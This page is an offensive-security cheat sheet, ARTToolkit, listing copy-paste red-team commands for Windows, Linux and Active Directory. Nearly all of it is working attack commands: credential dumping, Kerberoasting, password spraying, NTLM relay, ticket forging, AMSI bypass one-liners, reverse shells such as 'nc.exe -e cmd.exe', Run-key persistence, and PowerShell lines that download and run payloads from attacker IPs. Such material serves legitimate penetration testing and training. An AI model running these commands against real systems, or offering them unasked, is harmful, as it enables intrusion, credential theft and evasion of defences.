ARTToolkit

Star

A RedTeam Toolkit is an interactive cheat sheet, containing a useful list of offensive security tools and their respective commands/payloads, to be used in red teaming exercises.

If you hate constantly looking up the right command to use against a Windows, Linux, or Active Directory environment (like me), this project should help ease the pain a bit. Just select what information you currently have related to the victim machine (passwords, usernames, services, etc.), and it will display a list of tools you can try against the machine, along with a template command for easy copy/pasting. See the full list of items and filters.

This project was created by Maurits Maas and was inspired by GTFOBins, and LOLBAS. I relied heavily on WADComs’ site template to make this one.

I’m hoping to make ARTToolkit a collaborative project, so please feel free to contribute your commands.

Command
xfreerdp /u:'mmaas' /p:'password@1' /v:10.0.0.1 Persistence Username Password Hash RDP Windows
xattr -d com.apple.quarantine Bloodhound.app Bypassing Shell Antivirus Mac
wmic useraccount get name,sid Enumeration Shell Windows
winpeas.exe cmd > output.txt Privilege Escalation Shell Windows
whoami /priv Enumeration Shell Windows
./username-anarchy maurits maas Enumeration Cracking Username Password Linux Windows
python3 targetedKerberoast.py -d test.local -u john -p password123 --dc-ip 10.10.10.1 Exploitation Username Password Kerberos NTLM Linux
secedit /configure /db config.sdb /cfg config.inf Persistence Username Password Shell Windows
schtasks /query /tn vuln_task /fo list /v Enumeration Privilege Escalation Shell Windows
sc qc "disk sorter enterprise" Enumeration Privilege Escalation Shell Windows
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt Enumeration Shell Windows
nc -lvnp 9001 < linpeas.sh General Shell Linux Windows
wmic product get name,version,vendor Enumeration General Shell Windows
icacls c:\tasks\schtask.bat Enumeration Privilege Escalation General Shell Windows
ffuf -request req -request-proto https -w /usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt:FUZZ > ffuf.out Enumeration Web Linux Windows
put command here
cmdkey /list Enumeration Shell Windows
reg save hklm\system C:\Users\THMBackup\system.hive Privilege Escalation Shell Windows
.\accesschk.exe -qlc thmservice Enumeration Privilege Escalation Shell Windows
python3 windapsearch --dc-ip 10.10.10.1 -u test.local\\john -p password123 -U -G --da -m "Remote Desktop Users" -C -r Enumeration Username Password Linux Windows
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://flight.htb/" -H "Host: FUZZ.flight.htb" --hl 154 Enumeration Web Linux Windows
Start-Process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe' -Credential 'domain.local\mmaas' Persistence Username Password Shell Windows
Snaffler.exe -s -o snaffler_output.log -d test.local -c 10.10.10.1 Enumeration Shell SMB Windows
VBA ShellcodeRunner macro to use in Office products Persistence Injection Shell Windows
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.14.21/ShellcodeRunner.dll') $assem = [System.Reflection.Assembly]::Load($data) or (for local file) $assem = [System.Reflection.Assembly]::LoadFile("C:\user\documents\ClassLibrary1.dll") $class = $assem.GetType("ShellcodeRunner.Program") $method = $class.GetMethod("Run") $method.Invoke(0, $null) Or $a = [ShellcodeRunner.Program]::Run() ``` Persistence Injection Shell Windows
SharpWMI.exe action=query query="select * from win32_process" Persistence Shell WMI Windows
SharpUp.exe > output.txt Privilege Escalation Shell Windows
SharpLDAPmonitor.exe /dcip:10.10.10.1 /user:TEST.local\john /pass:password123 Enumeration Username Password Kerberos LDAP NTLM Windows
SharpHound.exe -d contoso.local --CollectionMethod All,GPOLocalGroup --ZipFileName output.zip Enumeration Privilege Escalation Shell LDAP Windows
SharpHound.exe --CollectionMethod All --LdapUsername john --LdapPassword password123 --ZipFileName output.zip Enumeration Privilege Escalation Username Password Shell LDAP Windows
SharpDump.exe Enumeration Privilege Escalation Shell Windows
$pass = ConvertTo-SecureString 'password123' -AsPlainText -Force General Shell Windows
Seatbelt.exe -group=all -full > output.txt Persistence Privilege Escalation Shell Windows
./scrying -t rdp://10.0.0.1 Enumeration Web RDP Windows
SafetyKatz.exe Enumeration Privilege Escalation Shell Windows
sshng2john.py id_rsa Cracking SSH Key SSH Linux Windows
python3 smbmap.py --host-file smb-hosts.txt -u john -p 'password123' -d test.local -L Enumeration Username Password SMB Linux Windows
python3 smbmap.py --host-file smb-hosts.txt -d test.local -L Enumeration No Creds SMB Linux Windows
python3 smbmap.py --host-file smb-hosts.txt -u john -p 'password123' -d test.local -F password Enumeration Username Password SMB Linux Windows
smbclient -L \\test.local -I 10.10.10.1 -U john password123 Enumeration Username Password SMB Linux
smbclient -L \\test.local -I 10.10.10.1 -N Enumeration No Creds SMB Linux
smbclient -L \\10.10.10.1 -U test.local/john --pw-nt-hash XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Enumeration Username Hash SMB Linux
smbclient \\\\test.local\\C$ -I 10.10.10.1 -U john password123 Enumeration Username Password SMB Linux
smbclient \\\\test.local\\public -I 10.10.10.1 -N Enumeration No Creds SMB Linux
runas /netonly /user:domain.local\mmaas powershell_ise.exe Persistence Username Password Shell Windows
.\RunasCs.exe c.bum test123 powershell -r 10.10.14.19:9003 Exploitation Persistence Shell Windows
Rubeus.exe kerberoast /outfile:hashes.txt Exploitation Privilege Escalation Shell Kerberos Windows
Rubeus.exe /users:usernames.txt /passwords:passwords.txt /domain:test.local /outfile:found_passwords.txt Enumeration No Creds Kerberos Windows
Rubeus.exe asktgt /domain:test.local /user:john /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt Exploitation Username Hash Kerberos Windows
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt Exploitation Privilege Escalation Shell Kerberos Windows
Responder -I eth0 -A Exploitation No Creds SMB NTLM Linux Windows
reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Persistence /t REG_SZ /d "C:\Path\To\revshell.exe" reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Persistence /t REG_SZ /d "C:\Path\To\revshell.exe" Persistence Shell Windows
rpcclient -U '' -N 10.10.10.1 Enumeration No Creds RPC Linux
java -jar rmg-4.4.1-jar-with-dependencies.jar enum 10.0.0.1 1099 Enumeration Exploitation No Creds RMI Linux Windows Mac
python3 -c 'import pty;pty.spawn("/bin/bash")' Persistence General Shell Linux Windows
python3 pywhisker.py -d "test.local" -u "john" -p "password123" --target "user2" --action "list" --dc-ip "10.10.10.1" Exploitation Username Password Kerberos Linux
python3 ldapmonitor.py -u 'john' -d 'TEST.local' -p 'password123' --dc-ip 10.10.10.1 Enumeration Username Password Hash Kerberos LDAP NTLM Linux
Get-DomainUser -Domain test.local -DomainController 10.10.10.1 Enumeration Shell Windows
Get-DomainUser -Domain test.local -DomainController 10.10.10.1 -PreauthNotRequired -Properties SamAccountName Enumeration Shell Windows
Get-DomainGroupMember -identity "Domain Admins" -Domain test.local -DomainController 10.10.10.1 Enumeration Shell Windows
Get-DomainComputer -Credential $Cred -Unconstrained Enumeration Shell LDAP Windows
Get-DomainComputer -Credential $Cred -TrustedToAuth Enumeration Shell LDAP Windows
Find-DomainShare -CheckShareAccess -Domain test.local -DomainController 10.10.10.1 Enumeration Shell Windows
Get-SQLInstanceDomain -Verbose -DomainController 10.0.0.1 -Username domain.local\mmaas -password Password123 Enumeration Shell SQL Windows
Get-SQLInstanceDomain -Verbose -DomainController 10.0.0.1 -Username domain.local\mmaas -password Password123| Get-SQLConnectionTestThreaded -Verbose -Threads 3 | Where-Object {$_.Status -like "Accessible"} Enumeration Shell SQL Windows
PingCastle.exe --healthcheck --user mmaas --password [pass] --server [ip] Enumeration Shell LDAP Windows
python3 PetitPotam.py -d test.local -u john -p password123 10.10.10.2 10.10.10.1 Exploitation Username Password RPC NTLM Linux Windows
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\mmaas', $pass) General Shell Windows
$cred.GetNetworkCredential().Password Cracking Shell Windows
python3 gettgtpkinit.py test.local/DC01\$ -cert-pfx crt.pfx -pfx-pass password123 out.ccache Exploitation Privilege Escalation Username Password PFX Kerberos Linux Windows
KRB5CCNAME=out.ccache python3 getnthash.py test.local/DC01\$ -key 6e63333c372d7fbe64dab63f36673d0cd03bfb92b2a6c96e70070be7cb07f773 Exploitation Privilege Escalation TGT Kerberos Linux Windows
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='test.local',userdb=usernames.txt 10.10.10.1 Enumeration No Creds Kerberos Linux Windows
netstat -aon -p tcp Enumeration Shell Windows
[.ShellClassInfo] IconFile=\\10.10.14.4\maus Persistence Privilege Escalation Shell Windows
mount -t cifs -o vers=2.1,username='Guest',password='' //10.129.253.46/Development devel Enumeration Username Password SMB Linux
mitm6 -d test.local --ignore-nofqnd Exploitation No Creds DNS Linux Windows
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1 Persistence Shell Windows
ldapsearch -LLL -x -H ldap://test.local -b'' -s base '(objectclass=\*)' Enumeration No Creds LDAP Linux
ldapsearch -h test.local -D 'ldap@test.local' -w password123 -b 'dc=test,dc=local' Enumeration Username Password LDAP Linux
kerbrute userenum -d test.local usernames.txt Enumeration No Creds Kerberos Linux Windows
kerbrute passwordspray -d test.local domain_users.txt password123 Enumeration Username Kerberos Linux Windows
kerbrute bruteuser -d test.local passwords.txt john Enumeration Username Kerberos Linux Windows
cat credentials.txt | kerbrute_linux_amd64 -d test.local bruteforce - Enumeration No Creds Kerberos Linux
JuicyPotatoNG.exe -t * -p "nc.exe" -a "10.10.14.19 5555 -e cmd.exe" Privilege Escalation Shell Windows
john --wordlist=/opt/wordlists/rockyou.txt sshkey.john Cracking SSH Key SSH Linux Windows
Import-Module .\Find-AVSignature.ps1 Enumeration Exploitation Persistence Privilege Escalation General Injection Shell LDAP Antivirus Windows
python3 getTGT.py test.local/john -dc-ip 10.10.10.1 -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 Exploitation Username Hash Kerberos Linux Windows
python3 getST.py -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 -spn www/server01.test.local -dc-ip 10.10.10.1 -impersonate Administrator test.local/john Exploitation Persistence Privilege Escalation Username Hash Kerberos Linux Windows
python3 getST.py -spn www/server01.test.local -dc-ip 10.10.10.1 -impersonate Administrator test.local/john:password123 Exploitation Persistence Privilege Escalation Username Password Kerberos Linux Windows
python3 atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 test.local/john@10.10.10.1 whoami Exploitation Username Hash SMB Linux Windows
python3 atexec.py test.local/john:password123@10.10.10.1 whoami Exploitation Username Password SMB Linux Windows
python3 addcomputer.py -method SAMR -dc-ip 10.10.10.1 -computer-pass TestPassword321 -computer-name testComputer test.local/john:password123 Exploitation Persistence Username Password SMB Linux Windows
python3 addcomputer.py -method LDAPS -dc-ip 10.10.10.1 -computer-pass TestPassword321 -computer-name testComputer test.local/john:password123 Exploitation Persistence Username Password LDAP Linux Windows
python3 wmiexec.py test.local/john:password123@10.10.10.1 Exploitation Username Password WMI Linux Windows
python3 ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local -dc-ip 10.10.10.1 -spn cifs/test.local john Exploitation Persistence Username Hash Kerberos Linux Windows
python3 services.py test.local/john:password123@10.10.10.1 list Enumeration Username Password RPC Linux Windows
python3 secretsdump.py test.local/john:password123@10.10.10.1 Exploitation Username Password Kerberos NTLM Linux Windows
python3 secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 10.10.10.1 test.local/john:password123@10.10.10.2 Exploitation Username Password Kerberos NTLM Linux Windows
python3 smbexec.py test.local/john:password123@10.10.10.1 Exploitation Username Password SMB Linux Windows
python3 smbclient.py test.local/john:password123@10.10.10.1 Enumeration Username Password SMB Linux Windows
python3 samrdump.py test.local/john:password123@10.10.10.1 Enumeration Username Password RPC Linux Windows
python3 reg.py test.local/john:password123@10.10.10.1 query -keyName HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -s Exploitation Persistence Username Password SMB Linux Windows
python3 rpcdump.py test.local/john:password123@10.10.10.1 Enumeration Username Password RPC Linux Windows
python3 rbcd.py -action write -delegate-to "DC01$" -delegate-from "EVILCOMPUTER$" -dc-ip 10.10.10.1 -hashes :A9FDFA038C4B75EBC76DC855DD74F0DA test.local/john Exploitation Persistence Privilege Escalation Username Hash SMB Kerberos LDAP Linux Windows
python3 psexec.py test.local/john:password123@10.10.10.1 Enumeration Exploitation Username Password SMB Linux Windows
export KRB5CCNAME=/full/path/to/john.ccache; python3 psexec.py test.local/john@10.10.10.1 -k -no-pass Exploitation Username TGS SMB Linux Windows
python3 ntlmrelayx.py -smb2support -t smb://10.10.10.1 -c 'whoami /all' -debug Exploitation No Creds NTLM Linux Windows
python3 ntlmrelayx.py -t ldaps://dc.test.local -wh test-wpad --delegat-access Exploitation No Creds LDAP NTLM Linux Windows
python3 ntlmrelayx.py -smb2support -t smb://10.10.10.1 -socks Exploitation No Creds SMB NTLM Linux Windows
python3 mimikatz.py test.local/john:password123@10.10.10.1 Exploitation Username Password Kerberos Linux Windows
python3 lookupsid.py test.local/john:password123@10.10.10.1 Enumeration Username Password RPC Linux Windows
python3 ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local -dc-ip 10.10.10.1 john Exploitation Persistence Username Hash Kerberos Linux Windows
python3 GetUserSPNs.py test.local/john:password123 -dc-ip 10.10.10.1 -request Exploitation Username Password Kerberos Linux Windows
python3 GetNPUsers.py test.local/ -dc-ip 10.10.10.1 -usersfile usernames.txt -format hashcat -outputfile hashes.txt Exploitation Username Kerberos Linux Windows
python3 GetADUsers.py -all test.local/john:password123 -dc-ip 10.10.10.1 Enumeration Username Password Kerberos Linux Windows
python3 Get-GPPPassword.py 'TEST.local/john:password123@DC01.TEST.local' -dc-ip 10.10.10.1 Enumeration Exploitation Username Password Hash SMB Linux Windows
python3 dcomexec.py -object MMC20 test.local/john:password123@10.10.10.1 Exploitation Username Password DCOM Linux Windows
cat powershel.ps1 |iconv -t UTF-16LE |base64 -w 0 General Shell Windows
hydra -L userlist.txt -p denjanjade122566 qreader.htb ssh Enumeration Exploitation Cracking Username Password SMB WMI SSH Linux Windows
python3 hoaxshell.py -s 10.10.14.123 -r -H "Authorization" Persistence Injection Bypassing Shell Windows
hashcat -m 18200 user.kerb /usr/share/wordlists/rockyou.txt Cracking TGT Kerberos Windows
python3 FindUncommonShares.py -u 'john' -d 'TEST.local' -p 'password123' --dc-ip 10.10.10.1 Enumeration Username Password Hash SMB Linux Windows
evil-winrm -i 10.10.10.1 -c pub.pem -k priv.pem -S -r EVILCORP Exploitation PFX WMI Windows
evil-winrm -i 10.10.10.1 -u john -p password123 Exploitation Persistence Username Password Hash WMI Linux Windows
enum4linux -a 10.10.10.1 Enumeration No Creds Linux
enum4linux -u john -p password123 -a 10.10.10.1 Enumeration Username Password Linux
iex(new-object net.webclient).downloadstring("http://10.10.14.21:8999/SharpHound.ps1") General Shell Windows
(New-Object Net.WebClient).DownloadFile('http://172.16.56.128:8999/msfstaged.exe', 'msfstaged.exe') General Shell Windows
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/ClassLibrary1.dll') Persistence Privilege Escalation Injection Shell Windows
.\DotNetToJScript.exe .\ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js Injection Shell Windows
python3 dementor.py -u john -p password123 -d test.local 10.10.10.2 10.10.10.1 Exploitation Username Password RPC NTLM Linux Windows
crackmapexec smb 10.10.10.1 -u users.txt -p password123 Enumeration Exploitation Username Password SMB Linux
crackmapexec smb 10.10.10.1 -u 'john' -p 'password123' -X 'whoami' Exploitation Persistence Username Password Hash SMB Linux
crackmapexec smb 10.10.10.1 -u 'john' -p 'password123' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol Enumeration Username Password Hash SMB Linux
crackmapexec smb flight.htb -u svc_apache -p 'test123' --users Enumeration Persistence No Creds SMB Linux
crackmapexec smb smb_host.txt --gen-relay-list output.txt Enumeration No Creds SMB Linux
crackmapexec smb 10.10.10.1 -u '' -p '' Enumeration No Creds SMB Linux
crackmapexec smb 10.10.10.1 -u 'a' -p '' Enumeration No Creds SMB Linux
crackmapexec ldap 10.10.10.1 -u 'john' -p 'password123' --trusted-for-delegation --password-not-required --admin-count --users --groups Enumeration Username Password Hash LDAP Linux
./chisel_1.8.1_linux_amd64 server -p 8000 --reverse Persistence General Shell Linux Windows
certipy req -username e.black@coder.htb -password ypOSJXPqlDOxxbQSfEERy300 -ca coder-DC01-CA -target dc01.coder.htb -template newMaus -upn Administrator@coder.htb -dns dc01.coder.htb Enumeration Username Password LDAP ADCS Windows
certipy find -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -dc-ip 10.129.239.91 Enumeration Username Password LDAP ADCS Windows
bloodhound.py -d test.local -v --zip -c All -dc test.local -ns 10.10.10.1 Enumeration No Creds LDAP Linux Windows
bloodhound.py -u john -p password123 -d test.local -v --zip -c All -dc test.local -ns 10.10.10.1 Enumeration Username Password LDAP Linux Windows
cat .\all-ips.txt | .\aquatone.exe -chrome-path C:\Users\test1\AppData\Local\Chromium\Application\chrome.exe -out all-ip Enumeration Web Linux Windows
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi Privilege Escalation Shell Windows
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s Enumeration General Shell Mac
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*nitFailed") {$f=$e}};$f.setValue($null,$true) Bypassing Shell Antivirus Windows
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1) Bypassing Shell Antivirus Windows
AMSI Bypass in JScript modifying the AmsiEnable registry key Bypassing Shell Antivirus Windows
AMSI Bypass in JScript renaming AMSI.dll Bypassing Shell Antivirus Windows
AMSI bypass in assembly based on the AmsiOpenSession Bypassing Shell Antivirus Windows
New-ADCSTemplate -DisplayName newMaus -JSON (Export-ADCSTemplate -DisplayName "Subordinate Certification Authority") -publish -Identity "CODER.HTB\PKI Admins" Enumeration Exploitation Shell LDAP ADCS Windows
Couldn't find the command you're looking for? Contribute your own!